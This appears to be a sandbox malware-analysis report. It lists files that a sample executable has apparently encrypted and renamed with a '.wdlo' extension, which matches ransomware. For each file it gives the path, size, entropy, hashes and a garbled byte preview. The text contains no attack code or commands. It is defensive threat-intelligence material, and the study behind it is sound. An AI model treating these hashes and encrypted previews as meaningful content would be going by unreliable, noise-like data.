Preview:	inseczV%I......2-.z`Yp.Gd.._M....>.I.F.......[.....W.U8^ ..)..Ouk.7VOn..=.....5Z..tz)..T.z.w...G..\|q.`[..nH0...C.I!o..5..F5..+....W.a....&.>......I..u.Yi.y..X)...6W.f.,.f3G3.v.z.`X.....=....Z'..F7.......L.eOP.+=.i...r...a.....u....%+.......X...h.S..6...i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMDocs.sav.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.314638802885359
Encrypted:	false
SSDEEP:	6:HITnB1e2ruKa2BFjKPVOpCm4KRLgqeohE/sKaAFb2iCwookZbUBBOsVolWbz6Wcq:HITB1vvjKPVOpC9KRLveJs5AlhYY36WX
MD5:	2DE963B62A6D3D7DCE0146468E58F670
SHA1:	5A1C7C3AE0B71ABB80D9B05647CB992B3B09FCE5
SHA-256:	C0E8E3C936C64D14F98B340908B82B26B4519C2F591BD5F4D92AEBC6C519F9F6
SHA-512:	C66BE221050E28AB579386341061187D4A35E4BD36920DF182F792BE6A19D4C73E841085C2154CA118A5A702ADCDE60DC32AC5B80156A06F4330C3A78CD193DC
Malicious:	false
Preview:	%PDFT.....'v.?..D..a-0..=.....Lt.#4.#.J.....@......Ws]..i....9.....h....).R.< z...A...]..H..w.t../....^.....\|A.\...b8v..c.r.R.v..]...K.9...._8:.$2..m..&....k.2U...X..;..t.E..^.i.QeI...q.Bm...t.Kg....Q.h....J.K).U..88D.L:z......d.!.....q....9.C....Z0...~.E.....g.....=.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMGrpPrm.sav.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.338734269020805
Encrypted:	false
SSDEEP:	12:c6Jm5dBSEcPymKGPkBKvrAviplvFvn36Wcii9a:c6BYGPfvc41Fv3zbD
MD5:	B4C916844A666F51584A182FDBFCDD8C
SHA1:	5728D298F08A025AEEFACFA9BCD2AF7D7839DE0F
SHA-256:	9B785008285205F6AC674B0BC221DAF3E9EFE9CEAE80FDF0FE9A5AA42FF14B7E
SHA-512:	B3CDA07527BBD005C97BC9231A2689C51C4BEE26B93FA0A217137A4ABC35A64AD8379D3483713E92312F814730E02E1E6AE842D94055243174427E2F251CD641
Malicious:	false
Preview:	%PDFT.1.@".V.k.......!.....Tv.i.@..G,U.B....D\..&%K...&U...c..&qT0.W..C.<k...3.R..9)...O-_"..G.ENQ..Z..A.sD.;a..kq.0.........q..&..(Eo._..5.C.E....Z...V..ljz.K.d...w..O...5X.(.;..y....&.._n.8 :.\|..C..p...u..:i^.N.....q.@..D.#..O...j0^h*.]~t.r/.....5.%Z..s%...A^.".6...Z.q.....W..Fi.XZ..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Microsoft\UProof\CUSTOM.DIC.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.310377317606623
Encrypted:	false
SSDEEP:	6:QId8UVk+8mi69e7lNdMoQ6VlJchEi6DkbmmwqKapW2YP4vhfOsVolWbz6Wcii96Z:Qk8UVkUDUdM9O6V6o6myap6P4L36WciD
MD5:	EDB10E88C56DEE33545E001A4979ACB8
SHA1:	92AD6BC26CCBBA4B8683156596219F3D958B69AA
SHA-256:	8A3E9D8A3CD87725F287B241726789F2FEB18F22750C1BE459D5EA619280C931
SHA-512:	6E011AEE85EE1E645261BD6E27A562F93017E5FD78FDF5DDC6B25DC65D0B906727B521E45A140CBD2498FBC1DB8C582FD8581D063C1A53294CA637DD4E17F7C4
Malicious:	false
Preview:	..j.o..M.cp..r4.....7...Z..-.u.RV.5..W.......i..^.........,.."t.*oZ.L..:...'.Vnv.......d....+.D.....W/.>....\........8...$...7....'...7b&dVv..]..%....m8./..[..y....kL.j]....$.....}.B.@.....hk\|.[D~...Q.9....br}..O..?.?..$ .+.+3.4....p.3-.<..~].:.....QC.H%....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Microsoft\Windows\Libraries\CameraRoll.library-ms.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.853901167304931
Encrypted:	false
SSDEEP:	24:sKBkS/rJ3meFY7chGSWA1C3S00ZuGFtj/+xwwADHa837yBRcCWpAiBtddIHS43zX:sKGS/dmePwG1CCNIm/+xdey3cCfiBb6b
MD5:	EA636DFF8825A73AA6DDCC2DA795094B
SHA1:	C4DCA9C03A46AB9F42D0C4624FC7EF672A08C297
SHA-256:	93E52A7766711F1D5F005C27F1488A8C11EBC13A8DA0F7E808CC9AE4C82898F4
SHA-512:	65FDA0CD6C62B2E3D8CA7A3457EB073FA14CF9FDE134BBE2EE6A83725A0F1D91B9EDCE2DD9AF59C3507E1202861391C8FE0A72EC5435658802294670232A5A3D
Malicious:	false
Preview:	<?xml._U.k%.....w...Q.g.Q..U.#.3........y..7..b.o(m.Fm..[..0.....-g$.....o..N..M....b..&.o3K.C..s.^.j?./..>...B.j.2..RP.b-~..T...<j.L..+t..........]h..&Sm{<.<....o.... ...\...<.....Z....#Vj.&a....pI...#.....LZcM..Qm>..m....Q....1.......I..D....w?PYH.....G...$..DK+....L.W.._.7.q.R.....S8m.....1.k...B...7.Z]P..! fG7..L...OT..aX...gw..\U...?..4.%...}h...#..IQw.!.#k6.$'.......E.<a.. ..p.....q.oPiBa\|C..e..o.rl..e..aa2.77F.5X.i...?YOc9".<....i..........Q3i..(.1?IV..:..b.....>...D-#...\|.q_.=.3..D..j...n..j...jD....<+..9D.A.Mrr:jv4.6.^..Q.Xw..A.ui....i...L..1.J...b...g...z9>e...w..b.....}.D....\..(....+."c....9+%.....s....$Ij;Q.L...R.........0.Iwp..0..G}6..:q5...~9......q....c.......v.n~."....}..zl....;.u/...M...I+c.m.]Y....>..'.vB.5....n.h.q...V..w,. ...C0..0../.]:.f.`..U...[...\|.U..%.r..w9G....nZ..w..tg...;u4.Q... (..v............W.u..F......<...V.:...\|...^...>..h..:.L.YkOw...!...g.s=gU..6..-U?o......g.R....U.kK.s..5N....B..n.

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Documents.library-ms.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	2424
Entropy (8bit):	7.915127372618805
Encrypted:	false
SSDEEP:	48:KP3NrXyfd9knexL6yfgoBOFghaOCyRLTei6zTm0RiynhfLVGN0I3nD:E7y3LL6Qzd976zTm0UyhfRTi
MD5:	42B5B10792E1CD9F4A259C4AC25C45D4
SHA1:	522E0A9A8DD9C170D7C0080B96686145BC92EB40
SHA-256:	002C9F2CCA197B725532588913B5046BFF0E1402F55DCEF5B164BF63DC94E344
SHA-512:	93C771B950A1A5C9740B7D8257B0714532F440F9F1568C237F3F5F5BB5E85E5263E6D12CAE13A7ED7AE4E167251B76222068560BF526EE226B3B438D448B3F6D
Malicious:	false
Preview:	<?xml....}&..<.S.u.rk..\|...._.T.h...!m...Zw......Q`Y...99J.L..ta..(..9.;A..3...Y&.XX.Q...$..........i.}Vn#....~....Z..Ur....;cg..........Y.\|eU.xK.J6.d.;...`.."..c..y0X.gk..?%.!.n...?-..nZ..7.......V.>.&.{.U....6......R...8.{i^.rZ{....?J.(RMo..6\.~p.....9..r..Tca._../.Twq...q.[..0.Qo.F[2...@.>J%...1X.p....).8!..U<..Nl..B..p\5.\.I.H.8V._&Ik.k.7.{...!...EW..B.H.S8z.O.I\;....!....k...8=..@C.k..Eb;B.O..~i.i.04.7(9.z.5.'!]....Zq..V,.!...F.....].........;<...&..O..0.Fs......"4`.E(.C.....C.....$..((t.<..!."...;.7..@.....a..q.G.A...-.....X......j.Z.^...."..8...H..Y].w".\|eH.....X...;..W.\|.`(..\|._..!.u#T.H...\..\%Z{...U\....S.&..q6Er.~.Z........e..8!/l^.C..1.Su.Wp.y..=v...T.XW9...n...L}5a..,..`....9.........1..?.R..%)c/..^.}7.[..LE.{..g...P;.\....].x?F./.m.<...%....7.{%...k.. ....G.....)o^3.l..3r."+R.....J.c...t.7..EU59..../.x}...%.WS.C.8.....]-#..r..4..[q..r5.jlg.Wh....^e..,..,..\.....ld4..d..7...JDI.X&..=J.~GB.p..*m.?.....n.4?].}64.O,s...Im~V-n

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Music.library-ms.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	2381
Entropy (8bit):	7.925780055215895
Encrypted:	false
SSDEEP:	48:Sm3ryrcuRHIsV5OwmRo7ATvY9yWcwZRyaNySh9A3nD:BryrcuRHdl7ATvY9H9RyN
MD5:	9C78CECCC5A520FE33BAD652875FD74C
SHA1:	F8FFF7561E3CEC7BD04182CE2826AD93949AE749
SHA-256:	52A57C14CE65F31A370557D69CD28A4380DCDD0CB622F3BC59013042E5E7248E
SHA-512:	E841D872DC62F4E5828B774AFDE08E78B3DD759E0A190FF7F3AC17D7E825D6C9D8810D35D5568E1E0369C4092D8CF222A0763618CF6EA00D78E7F8482EA39DA6
Malicious:	false
Preview:	<?xml!..4...=C...j.........9.....8..]8.]...".Y'?....J....Y..l/.T-.n........a)R.....q..[..5'8#...H.-B.....=;fp.W.nrUD-D....G...R.:.R'p...I..Z....5D.R.....)`..z.em......T....D.......Y.:J..n......r.jj.....$.;.0~....i;....8..........d.....k+W..&..+..D..<....q..y...9'j.5k..#......p.a....p.......C....$.............bB.....2N...(.<V'Cmm.$.B..z+4.Z.....^...w...NdRs..f...(..<.i!....Q{1g`..6....@%.-x.\(.....j/s.T.'......{..R......~.;......O...4..4M..d<...J...&FL.....F.>.L.uM.........w..)K.-G.....!........b..&.tr`...>..@..,..,0..a...w<.YA...`e?..q&....wW..`..[/.........l..e."F..e....M...G"......BR.>....H....$..y...D.X.u...a.....@..b..C;....b8....Tr.@..n._.h....G.9..Y....z6m....>D.D...b$.&...5.....C.X..U.9.....k2..y..s...~..Y..,d."7...T..;z.+..P<g.....Y/..0,Jt.....3./r..ug...k....u.L.2.B.(..7....hZ....'..}....H...v....\|3.M.<M.6U...7U....R#'..!J.]..c.Dd@E1.5..2..#.~.X..k...+T..}L..=...K....Z"~.\1G..3..D.GYG..4.+WiJZ5J..j;^.1.......4..9.u...

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Pictures.library-ms.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	2398
Entropy (8bit):	7.913631451774621
Encrypted:	false
SSDEEP:	48:jUwWmExV3BPllfPvhuryrz65MUvlzmyhlwk7mYnDO4bI271nFZ2xnlj9D3nD:jUVx3Pnaya5TdzmMykHnpE27YljV
MD5:	2577DD03C560F7C6BD7BDC88B5D76A16
SHA1:	527030A9596321575C6067DB96CA43713C8EB613
SHA-256:	C3106C57921C8DBEC0E5FDBD85476DBFC9E6B6C865B7298ABD7E1C02F8EBE3DA
SHA-512:	74C76DF30BF7808456731020B19133FC74743ED88A5EDE230172FABCD5F3174219621B1C43B5D6E90328F8E75D67E3B58962B99030B3A5134E1696FED96D61DF
Malicious:	false
Preview:	<?xml...p..S.F.r.VQ..l.y..O2b.vgJ..a...r......z....q...GX.Bh.k.Q.".=...VQ5j.LO..H;H.E.....L..M.H..[7...'...k..l..q.C.}7gy.......}.6.G..............T.IG\|..8.....y.C..`.@5.2.8J.IS>........G...G...`~{.5.7.s........K-!....N....=.... }{j%....Q..#..g......8....<R%4...B.........s>'>..$1..D..,>.!.9ej.zb.`...5.D..;_.../....=.t.;....i.......@..Tb...5A;..I..N....+8..]q.;g.....7.....l. ..4D.....W2...D.&.....S7\|d.OoL..d@....>e...{..&O..N...b..../'^-..Lk5w".o.i.1.j......0...RFa.{.....W...O....tnr...cvV..u4I .2..Is~1...d&P..%..a.H.,.N7t..n......"......H..T..?.2Y.f.&I.bI.......Yo.b....A......&.$."....;...1.\|?5,..+\|u...O...6....f.]..\gZ.w..M.+...,..7.....6......!Bc...f.U....!tn...@.@..;...]. ....:..L-../..3$....C\|00.V..\|(J...?..! ...J......8.o.M-Ge....N$X......](@..s67o...iw........w.j&s..%..r......i....\0P...m2.N._A.r4.5.F.G.[.Y..(b..?2'...wu...5..d.(l.C)....D.&.FS.9Il.L&..Xam".8.Dd.5.4..~z...K-*..i.3F!.3QB...26...5T....K{.:...'t.0.d.&x.r....u.v./....K..+.sDS....t.K.

C:\Users\user\Application Data\Microsoft\Windows\Libraries\SavedPictures.library-ms.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.829996201443019
Encrypted:	false
SSDEEP:	24:mn9VWa0dItZv/hPKx5To+Eu4CpVyDhRLXu2WdolblgbF93zbD:m9VDBjv8nEujeXuilb+33nD
MD5:	E524667A92888D87FF89D986DEA4865B
SHA1:	FF02B0BDB2EB9937D789CA8E8689A44C7F27ABD0
SHA-256:	31F27498B4183C67664E2A0198A6FBB8FC6E765265D601713046E19A56D6CCB6
SHA-512:	294CC12BD46E06E9AB2FD721DB1A062A2682FF1E358F2ED5BAE2D514A6570DEB430F6414A5B4C0A68BEEED8A92DC66CA18093EE900311AD4D0350CEA6F78F144
Malicious:	false
Preview:	<?xml.3..omj]......{.....N{..!..(...z.w(S.j..?...../..."..m<$..`...k..K..O..L.fl..b........l"..Z@.>...._."...m&.!.c.}.*f..A.EVn$.u..@..G.G...t.^N.p..k..5ZQ%\|-...w....J.g..Tj..^....._F......4#..`..[.;....\|d.<t..H-!=8ox?G)+.\|....b6.....f0}..t>..H.6.U...PQ....t.../.:.....bH.x.khY......@....Y.B.u..P4.......b.7J.^..r..f.E...6.A".0E.}......#H...'F/.q...............4Z.2l..d..<...;.........Q.....u9%....c1.......+...u.%..O...Mf.Xh.XB...(.?....=Y.\|.h.Y..C.%.y...PL.L....C..j.Z.Q....Vg.3W....z!)....R..K.1{P..>?....I....o.bc......f...Ga.apw.....l.8...U..2......K..Ts.\8. ...\|......8..1....4\|.^...........rF.mT.{.8V>.t....g......Dq].)..U.0...J.3#..B..^....f..)..%2Im..\|...+..AX...u..0.....3...+A..v..^.[U.....`....t..........8LO.. Z.+.[.....kC..>R..-.0` J..Q...@.mj.(8....`.l\|,AG.(>w.S.......ukt.5....k.....",Yy...>.L1s..C.B9..;...^...f<m..3.#..>...M.0.........5i.....>h.....D9.1R.#........0B...Y......(?.nFV...Z9...@...P.......6[.....d.w.3.X..,...

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Videos.library-ms.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	2409
Entropy (8bit):	7.906088841519425
Encrypted:	false
SSDEEP:	48:PtOmUP7sSGCPwLq0b6k6uOl/RizQyaR0cl9iv8ENXjbSM22tmVRhb3UgDxO3nD:MmUASILAk6uOxEz1c3lcv8ENXjzeVDxg
MD5:	30DB44186FC7F61F5E5A1813E6BFC527
SHA1:	32D4F21A1FAE3F8E31DCFFE44BAE3EC0066BA57D
SHA-256:	F8EA9FD781E02454BAA112227DB85B5D35631F825461338EC5EACFC728CA0597
SHA-512:	A4F2B372A655BCBDDF5D4209CAF5CB010D952A5AB8E89043E3A0BCDF00D7D824487C246B7DB48E47C6C2B34395832936A656C785C1E6439DEB070A09086480EB
Malicious:	false
Preview:	<?xml.v...p......~.....\|...U\.....o.T....p;..nnQ.....y...4....2.L..GFU.C.T4.mf.^/.b.9p.I.zo.@.a..o..Dv5.@vy.O.3z\|.(.j..P~.{.!..........'{O.#....'..=...,.../..e,.....'RO..`..W..E.....)..:.....Z..BW....C..A..Iy[t..!.(..fx.1....S+.....W..."\|>.7>.!p.....GI..Tc=.... ..{Yi.V.P..^.\|.......gD.$.Ye.... ..G\q6.\|5.QEw.7.:...-...S.t...`t..u.v.TD..s....8tI.=!.f..d.uT.k%.<......^B.H..xD.S(..{ku.,.....)......9.#(yD.P..u...h..J..F..k].'.zBVEuw.ND......3.}-S..../..mk..`MGb!:.......WT.J......h..~gv.9..H........"PW`."\..N...B.K.a..He...;.[.tp#.(\Xi.\|.....n.&..o.9[.6.[.om...,..7N...........X.x..G ..l.....x:P..T#.(.&}.q.d...d....D8..!8.M.....@.6...Pa...6T.....l..D./.qG.W.<......hS2.E[.... K.r..\EI..(.&..........q^.W\.....~...<...i..qEi`._.[.o..\.f.........vK...9..0.6E]-.K.u..u.~..-.........L.[..-....-i..f9x.K..P.1$v....",...`$.......Hz.(.Y.......0z............7H.s....!W......5 %V..=.........`..qi.N`..\-."`i...@....g... dFE..;.......A.D.G...Ou..e..@.1...v$

C:\Users\user\Application Data\Microsoft\Windows\Recent\DVWHKMNFNN.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843970785210683
Encrypted:	false
SSDEEP:	24:GVNHKAR9ZEi3Mc8Yoku3BboR2yQfF+xrzqkCUYRDeeHEwq9HWdo4e+3zbD:GVg6Ii3Mtku9lyUIn6zipu/3nD
MD5:	D7EE1651618F2398B5F8D5F48048F5D2
SHA1:	2D770BD8BA6CF1EB4EF9E27B74562C941EA5FED9
SHA-256:	14542DCC9022916B82FE68A03ED85B1614D993B3041BDC1B7E512A657418B110
SHA-512:	38A23F2CB26D39552C6258F51263D8151B680C93570397AF356E21AB22F267646AF97E874CFE86919D6E67035C889A29520664D8BE9B100B60D3642591973CA8
Malicious:	false
Preview:	DVWHK.q@5rO.J=.-..VZ......G7.Z+&....<...M\.[....3?...#..m....B0....-T.....jv^uj.G.f...=.\|.40.^..[cL...3..X.Xq".....(O."J3...4...QW=.....k"'..8.AX......L.1. ...oL.....8.._.."r..Ir7...\|..._..U.7..Z......B.,Jb/@..n.d..q[."..g.....3',.>r{]H..../c.291.}=.......N. v.^.6...4......D$......\|go^\|.h..I...@..{.w.\|9mSV....G.....v...x.t.`)i...u..0...ZK.^hH.M...n...${..&...B_...5y.N........&...t.$LZ.....}@..#...s.}./J.i..Vva(...Rkc.(.m.n.c..+...\|R....Q.^.@C..(..n(a.......G.iG.v.N[E\.bB...YO......v..C...\...G..J....3.[.....(.8.?R'g.'s.#9.?.wF..I.FVE....e....I.jtB..)..P......(..YE\...p.....h...-J.N......^.........BgY8..P..Lx..........848G......HE..t<Q...5....Fn.O..?..<..........l.r.P.$4`..#.u..$jx.].s.9.*...NM.....7K.a.).)...mw....p.mT.].~...J.[.O.;;.F...}...1..1...8..b..>..Q.\|9B...ljR.A<....x........2=...s....>d..<.M0.Hi..ft..pb....?.p,n.SUh..D.4...T,.9..P]N.8..Q..[.B>...Xf......#z.J..+s.S~.$..m..........K"W:U2Z}-......}....(..0F6.P..0...&....d

C:\Users\user\Application Data\Microsoft\Windows\Recent\HTAGVDFUIE.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.875117940249932
Encrypted:	false
SSDEEP:	24:ab7usCD96hSiECbWdvgnZBQXiKLls4b8ZZRR5mrO/5ZGXYe+J+O3idlx3zbD:0useOTb606xPGZdma/5ZGXYk8idlx3nD
MD5:	94A05401EFA5B24A1B9B8EEEE08F6539
SHA1:	E8384BCA4130FC5BB6410A3D56FD3043B07AB670
SHA-256:	702BBE1A6CB814DE79671BA33A6B07CE9CC5F2916C0232E155522B3723FC803D
SHA-512:	4B6C6CDF1DB9FD61DB78446ED3145CBCC2454CF5321E7C0C33971E5624D0044C9EFE199BD8606E266E839DFEF0D70AD42DD5F4DC5A0A6DA7CDEEF634A4E88D86
Malicious:	false
Preview:	HTAGVc\|.o...q...j.Zp.V........6J$ ...+..N......r.r...=u..-oE4..C!..aM...vM..........(..LR.3r...n...`..<'aP..m....}..j.+S.F}.l.....6.A..............i..h..\|k.).....a....\.+...+D.m..v..jm1.......a.\.#..k.O..h.j...:w.v.\|8...!`..........I./.\.Sl..1.M..(...)...G....)...=...W_k.z~.....cn...c..?b..}WN\|....?....z.M.T.=C....-....'..gk.@..A..[:T..Z.......$.......8 ..&...\|R.@.Ml.O.......N.......@.i[......w.u.....X,z.....zuP......L(..5]....h.A(9.1h.....@.A.>Z.v.?.b.L..4.6d".2.....Z.WC.mm6@..'...w.y;.G..,.a^.b.e.].[.2...2.k.... .[...zR@C.. b..R....Y..!MS.@..&.X+.9....F.'T.^Sy.5..,.S {..p.8-....z1...4.x(.`2)..e.?...-.W...T..uc....M.w...c...\|. F.s...u..v.W..y.6.Z.....!.......6."...{O.>...7.\|..9k.{c..2.[A{...}..'.&.7RqOA.{F.Z...9.....knLxCp.2y...xw9....(vK....o.K...{...L.....P....Gb.<....*J...wD..\|Z.\|.. D..It.e@.......P&A......y..NQ.Y..V...q..<m.c.:....w,X.....+..MR..P.._O.......5...^..vXrxW'.u_o.lR..'_....:%....&..XV...S.....0.....l.v}.hD......w{

C:\Users\user\Application Data\Microsoft\Windows\Recent\HTAGVDFUIE.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855020541466519
Encrypted:	false
SSDEEP:	24:SJYeoTIOBriM8Latt5FTloEyX55FBEa4ZEvx41xfwIEGazVE0/0X+xRJZeXigrVB:cwTIcE+LFTRyNBUZEvqgIEGSOz+1AXrb
MD5:	28A45D74147A2B4DC70892819074A06E
SHA1:	7D47F2CFB442B429342D46FADBE7A261CB55654C
SHA-256:	B6FF407BF6FC490C4D9E8810E1A8B4828653B3B7BB26EE9BF301DCAD7F91A461
SHA-512:	57BB5DBDF3BD445F0C6BE45506FFC69ACE5AAD9FE47D320F66A7541CF69F14423418650551F7BA3CE2CFD993E75EBF6F81B01474F14D53F6C6162D9B3FBB6FFC
Malicious:	false
Preview:	HTAGV...=nz..k......e......Y.....1.I.o5.c.&.H.-...st.Qei........W X..u.e"a..+q4..n4j...Rkj}I1.!.`}f.VO..u..p1.7...f.?.\..&.......+....[....S......n...F...e...........d..?T...&..V...N;8.W....Vz .KY....T.j._a.QkE...J..4.E.9/..c.#..j..;.P.\|^n......Q....F.\j...H.b...9l..C._Rd.wD......Q.....W...3.D3..~)....sd.9..X.....j....<...u.....XK.I......w..3&...t.c...A..../.......Il..[...z.yR....`........" :K..wE.9...r.^~..v.r.S...B;(...K.8d.........B...."....7.YS2.~2A}K..J. a.....<..f..a-6.5..P/6.S...$.....n...P..BU.....-/..z.2n....b.....Tdm=.7n....W.h~...#(.I5...y0..N'..X\|B..Jd..w...9T......sU!.%J.F......+E{v.......2..Z;..V..0...W..g.=......=.9.`.qmX.!y..4....%..v.@....H.Y.kF....^.YH._.....E...I..s!2..@.N..\..P...4N.\><@.w 0.s....z.M.F..~W4C.....Ko.O....N.S.?;..\|9...q..g.,/.]:.l.;l..rm..H=...>iU..G...~....0..\.c...Va..5...$.......z.J.F}..Lv}N.G-).,..... .kq{}..t.NqiV.%aP'.Vj>..4.....{..t.L:.NF.<:...V...Y.6.C.O1..R.H.z..:).......B..nu...t>.[.

C:\Users\user\Application Data\Microsoft\Windows\Recent\KATAXZVCPS.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844228300979692
Encrypted:	false
SSDEEP:	24:MZs5dULxETg8Zg1IXz8/iwXZ1nK4Z/RCWB7n3NVKIU730BcR8QCS9+jJ3zbD:GLP8CxXZ1nhZZ7B79gIU7rQjt3nD
MD5:	683A3C33815F1A67154E4DB2BA03E452
SHA1:	20B35EB517392DE48377EC9F191A4EA3F9AFF6CD
SHA-256:	5EF89FE32A4077A885A0493EDDB396D01824869306BB49D562682699217BAD8F
SHA-512:	4F961848B5302C6722D27E6AFCA384F856FA96AC3982CC4FE74FF90F97695A0B18B732F36AD70398701191524D0B143E9A5C861ADC3CD1B61FD076B0B56977D1
Malicious:	false
Preview:	KATAXu_. r.rF....#87?Vb.@Of..5&l(..".....t=6......Z.O............{a.#:.?........\C.\|.. .k.}.....~o8.5..R..^w..A._....]HP{Y..]8S^.rG.x....W_P;...]...f;m...X.5jz.c.~.."...k0...$.X.s...n._.......h1.........O.Iw...f.G=_.a..=k.F.y..Ry;.(.......O.P..Q.......Y....gGj......R..%w.........$.....c.88vQ....p.c.....!Y...<...$...?............!l..P X.=........d../...oM.........f.2.a....e......C...~...Yc....R.D..c..........c.#......'~...`.R&....k...`?...O.jd....=3..m.\|zR^'B..t.6......,._$...pz.7..+....F&..Z*-KlEj.......d...B.\|.nFsR....}b..G 7.=....r-..`.eMGJ.....z.6@K......-...)..T.U...{M.l....X.JK.......GF.....r>~...>.w.<.N.6...=..40[x.....E]z.-.$9.............{..../...d..qD....n\.......%..?..FXM.^.lW.e{~....k.....q..m...zK...8wz.....F+O.........q.?.$].[;".L.f..............[.SK.Z.A.N..Z..4<..:C.=Tw+...4x...r.k.E.-_..(T.....".^>...-\|7......?...q...D.0..p#O...U4.......5...Q)._.....J0...?Y."=6.D...k...._.3k...3....&..dFb..G{..L....Q.

C:\Users\user\Application Data\Microsoft\Windows\Recent\KZWFNRXYKI.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859831489161247
Encrypted:	false
SSDEEP:	24:tT2E86S7DhnXwdRPjMLWG986Nu5kSRRn4TB/F/OBpPfumqdKWz3lZK4s3ch3zbD:tT2n6SHhnXwdRPgm6NWkSDcVF/upP2zr
MD5:	EF37FF802B663390F5A2BA909E7BE92D
SHA1:	6B9256CF4320676633CF48E6B878F488DA4B241C
SHA-256:	D68F836B76F1DD227A74DA89E90C428C91E880B17759F592BD76DA5E3934D073
SHA-512:	1C7EF33E13F003B2157987A6D3685691D9D2BAAFE295754DD20B6E56A5165D4AC0E7C7C41D43ED17EF3152219901D3FD5CC0A18A81CD33E9D8529C782A0DE501
Malicious:	false
Preview:	KZWFN(f^M....L.X.y..!.6..i.....+:l..y.........90...Q.;.o3...."Il...._Z[k...C...........~J.y.M.h..Y..[..=..4..5.....5._ZH......>%..^)bq.D......x....;..h.u..~..v.:.R.....Mf c....7W.......(@. ._..icCS.dJ.....9..8..c......U....!@.Jo.V.....SA.'...k...x.Mv...u.H.o.\.....Z....F.)..o.F....9.R.7.m..'d........okP.....q..K.0\T?iZ...KK`.:....]q@(d...ey.;..sj.2.I...y.....H...,GR@.6.....H......0...Y~..@.gm:/.....\|]<iW.#.k.T..7..f`UH....J..0zQ.....q?..Q.dc...N.I8y....;-.>.....D.jY.0!z...9.c....t..w.sD..W.q..?'~....C?!..J.>o....q.....f.}.../..\Df...yU[x.4<^...=#...@.d.]vb`C.]..L..X.a.D.-....YF??...a..)oC..i!....qU....+...Y........x.....C.0.....%h.R..>..x..K.z"b...j..Z.*...T.....@.M..A.F...>.a.....@Y.<.d7;.J..j..b.i.=..x...g.....@....".\|.......h~..q....3..#.2..M../Z5...........Y..2....W........J..F....[3 V....P..;2....?H.~t. ..s..>".......o...[.Z..k_p[..]...j.lX~..Q~d8uPp..z..O..$S;G...}65"7?#...(.PO6..0C.....I.......a..j..].aR8&.m....L..Cw.

C:\Users\user\Application Data\Microsoft\Windows\Recent\LSBIHQFDVT.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831118550335088
Encrypted:	false
SSDEEP:	24:KMB59uMBGbymFomeKP3eQ8jGA779RqZ5msNtxqbYzdZULgLTy8U43u9Pgex3zbD:Kw9l2vpBcj77qqszd+8LTyh4agex3nD
MD5:	57D5A37A3C35B612AAF590FD5E5B05AC
SHA1:	0D7619103A3FDBE421E5DE0BBD37C0444D5BEDDB
